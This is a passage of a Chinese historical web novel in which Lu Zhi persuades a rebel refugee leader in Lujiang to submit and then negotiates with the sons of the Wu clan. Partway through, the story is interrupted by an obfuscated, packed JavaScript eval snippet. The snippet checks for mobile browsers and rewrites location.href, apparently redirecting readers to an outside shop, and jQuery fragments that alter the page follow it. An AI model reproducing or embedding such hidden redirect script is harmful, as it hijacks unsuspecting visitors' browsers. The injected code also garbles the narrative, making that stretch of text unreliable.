卢植退后两步，躬身一拜。“我此行携兵两万，然今日私下相见，只带五人。若诸位欲杀我，并非难事。冒险而来，不过是想与诸位赤诚相待。”


    “庐江郡豪族囤粮屯药，拥兵自重，百姓无以为生。诸位不畏恶名，聚众自保，朝廷称之为乱，我却称之为义。”


    “义士，不该死于暗处。”


    那人沉默良久，神情松动。


    “得先生这一番话，往后死也有了知音。只是哥哥多疑。”


    他略有犹豫，“我实在是害怕你们起了冲突。”


    “若先生信我，我引先生独自前往，必保无伤。”


    公孙瓒忽然开口。


    “我们此番已表大大诚意，只是也要保我老师安全。我只一人随老师如何？”


    那人目光在他身上停留片刻，终是摇头。


    他的视线落在杜若身上。


    “若定要带一人，便带这位小兄弟。”


    他坚决：“我不能再退了。”


    卢植眉头微皱，尚未开口。


    杜若已向前一步，拱手道。


    “学生愿同往。”


    卢植看了杜若一眼，点头道：“好。”


    三人一道进去。


    路旁尽是衣衫破败的老弱妇孺，或蜷坐，或相互依偎，目光迟钝而警惕。码头一侧堆着成排的粮袋、器具与木箱，虽旧，却摆放齐整，显然有人用心打理，并非乌合之众。


    再往里行了一会儿，见到一处临水的屋舍。


    屋中一名瘦削的年轻男子转过身来，形容枯槁，眼神却亮。他见弟弟引着卢植与杜若进来，眉头立刻蹙起。


    “这是何人？”


    那人上前一步，低声却急切道：“大哥，这便是我常与你提起的卢先生。卢先生学贯经史，名重一时，又素以体恤百姓著称，今日肯前来拜访，实在难得。”


    他侧身又道：“这位是卢先生的学生，杜大夫。”


    那青年冷冷扫了两人一眼，嗤笑出声。


    “我可没说要见狗朝廷的人。来人！”


    话未说完，弟弟已扑上前去，死死抱住他的腿。


    “大哥且慢！”


    “卢先生并非来替朝廷说教。他知我等不得已而起，也知百姓艰难。此行先生明明带着两万精兵，却只身前来相谈，这不是诚意又是什么？”


    那青年盯着卢植。


    “既有重兵，径直来打便是，何必巧言令色？”


    “我平生最恨你们这些读书人，满口仁义道德，到头来，干的却是泯灭良心的事。”


    “大哥！”


    弟弟还欲再说，卢植已上前一步，神色从容。


    “兄之言，不无道理。”


    那青年一愣，冷声道：“你年长于我，何故称兄？”


    卢植拱手：“我只论义气与是非，不论年岁。兄虽年轻，却肯为百姓担命，我唤一声兄长，有何不可？”


    青年神色微滞。


    他见弟弟屡屡相劝，又见卢植风度温雅，对他谦逊恭敬。不像之前所见官员，既不傲慢，也不躲闪。不免放缓了语气。


    “既然你有礼，我也不妄行无状。”


    “直说吧。你既带重兵，又只身来此，所为何事？”


    卢植道：“实不相瞒。此次朝廷派我平乱，予两万精锐，皆是训练有素之人，非某狂妄，若径直入城，不说兄等，便是豪族吴氏，恐怕也无半日抵挡之势。”


    那青年面色一沉。


    卢植又道：“只是某出身寒微，懂得百姓寒苦，又读圣贤书，虽不才，也存救世安民之心。”


    “某有疑问。”


    “今兄聚众，随兄的寒民几何？”


    青年顿了顿，看向弟弟：“老弱妇孺，总有过万。”


    “精锐兵士？”


    “虽只三四千余，个个以一当十，勇猛无畏，全不是孬种！你们要来，尽可一试！”


    那人傲然。


    卢植摇头：“兄对我赤诚，我怎肯辜负。”


    “兄有一说一，我也不相瞒。”


    “我有兵两万，吴氏府兵亦万余。若朝廷一声令下，两方合击，兄等纵然同心，也难免玉石俱焚。”


    他顿了一下。


    “兄即便战死，或可留名。但这些信你随你的百姓，又当如何？”


    青年脸色骤变，来回踱步，眉目间尽是焦躁。


    “你虽不说虚言，只是事已至此，又当如何？只能拼死一战罢了！”


    卢植摇头。


    “不然。朝廷只知道此地多有流民聚众，却不知细节。若兄愿信我，我可为兄请官，使诸位由乱民而为义军。共守此地，各安其命。”


    那人似有心动，却又道。


    “可吴氏早与我势不两立。”


    “他们囤兵屯粮，鱼肉百姓，我杀过他们的人。”


    “若我归附，粮与药，必被吴氏尽数夺去。”


    卢植向前一步，压低声音。


    “若我说……吴氏当灭呢？”


    青年骇然。


    卢植目光沉静，语气却极笃定。


    “我赤诚待兄，不敢欺瞒。我早已派人调查清楚，豪族吴氏，欺压百姓，沟通外族。罪恶之状，罄竹难书。今只身来此，卢某早已将生死置之度外，乃是想与君一同战斗，灭吴家而安庐郡，逐蛮族而慰众生。”


    他说罢，竟掀袍欲拜。


    “愿以性命相托，请兄相助。”


    青年大惊失色，连忙上前将他扶住。


    “卢兄折煞我！”


    “兄肯为百姓思虑至此，又不计我等前罪，只身犯险前来！”


    他喉头微哽。


    “我若再疑，便真成了不仁不义之人。”


    ———————-


    春夏交接，天气一天天暖和起来。清晨起身，照旧是一桌丰盛早膳。卢植神色如常，笑呵呵地招呼他们用饭。


    杜若吃得颇为高兴。不得不承认，吴家确实讲究，食不厌精，样样都做得细巧鲜美。


    几人各怀心思，早膳用毕。


    卢植道：“今天府上大公子可有闲暇相商正事呢？”


    吴二郎笑道：“先生来议，本该早早洒扫相迎。只是大哥这几日事务缠身，实在抽不开身，耽误了先生，实在惭愧。先生且随我往正厅稍坐，饮几盏茶水，我再去催一催。”


    卢植笑道：“若是今日能见，我等一等也无妨。”


    几人移步客厅，点心茶水补了两轮还不见吴大郎来。


    吴二郎还要斡旋，公孙瓒却一把砸了杯子。


    齑粉四溅。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059016|194963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吴二郎脸色一变，看向卢植：“先生，大哥公务繁忙，实属难为。先生弟子……怎可如此无礼？”


    公孙瓒起身，目光如刀。


    “先生奉朝廷之命，前日便抵达庐江郡，尔等竟然一再拖延。”


    他拔出腰间宝剑，寒气森然。


    “延误军情，我杀你又如何！”


    他两步欺身向前，高大身影几乎笼罩吴二郎。


    吴二郎踉跄两步，险些跌倒：“先生竟要纵弟子杀我？”


    卢植上前，摁住公孙瓒的肩膀。


    “伯圭休要无礼。”


    他依旧面容谦和。


    “二公子，弟子无状，请勿见怪。只是大公子此着，也非待客之道。若不欲相见，某自告辞，还请直言。”


    吴二郎面色涨红，又惊又怕，一时无言。


    这时有脚步声传来，只见一位满脸带笑的青年走了进来。


    他衣饰华贵，腰悬美玉，神情温润，举止从容，看着倒是一个和煦的青年。他一进门，便上前握住卢植的手，笑容亲切。


    “这位想必便是卢先生了。久闻大名，今日得见，真是蓬荜生辉。”


    他又看向公孙瓒和杜若。


    “这两位，想必是先生的高徒？果然是神仙人物，令人心生向往。”


    “您是吴大公子？”


    “正是在下，这两日叫先生苦等，我实有罪！”


    “先生快坐，怎么站着。茶水冷了，快换些热茶来，用我从天山取来的青雾茶，取梅花雪水来泡，请先生品鉴。”


    他挽着卢植的胳膊，仿佛与他十分熟稔。


    又取出小厮带着的东西，“此次繁忙，劳先生这样等待。我心里十分不安愧疚，万望先生体谅，这是我前些日子外出所得的一点小物，虽不值钱，却是地方风味，还望先生莫要嫌弃。”


    托盘奉上，几枚茶饼精巧细致，香气清雅。


    卢植笑道：“大公子何以这样谦虚，这几枚宝贝，恐怕千金难求。”


    吴大郎朗声大笑：“先生果然识货。上通天文，下察地理，实在令人敬服。”


    卢植道：“大公子，礼物暂且放下。我此行确有要事相商。”


    吴大郎点头：“自然，先生的事情十万火急，我们不该耽误，这便开始吧。”


    卢植开门见山，提起流民首领兄弟俩。


    话音刚落，吴大郎执茶的手，几不可察地一顿。笑容却仍旧挂在脸上。


    “先生是去劝降？看先生神色，想来已有成效？”


    卢植点点头：“他二人并非天生乱民，我观察他体恤流民，刚勇义气，若能所用，岂不费一兵一卒平庐江郡。”


    吴大郎亲自斟茶，面有难色。


    卢植道：“大公子有话直说即可。”


    “先生实在有所不知，我之前早已与蒋家兄弟多有交涉，此二人骄横残暴，害我府中许多人。又狡诈阴险，思绪多变，恐怕不是相与之人！”


    卢植听罢，只是笑了笑。


    “战乱时节，彼此攻伐原是常事。损伤些人手，怕也在所难免。”他语气和煦，“大公子所言固然有理，蒋家兄弟确非易与之辈。只是他们既已表露归顺之意，我们不妨先行收编。往后的事，自有往后的章法。人在麾下，总比散在外头，要容易管束些。”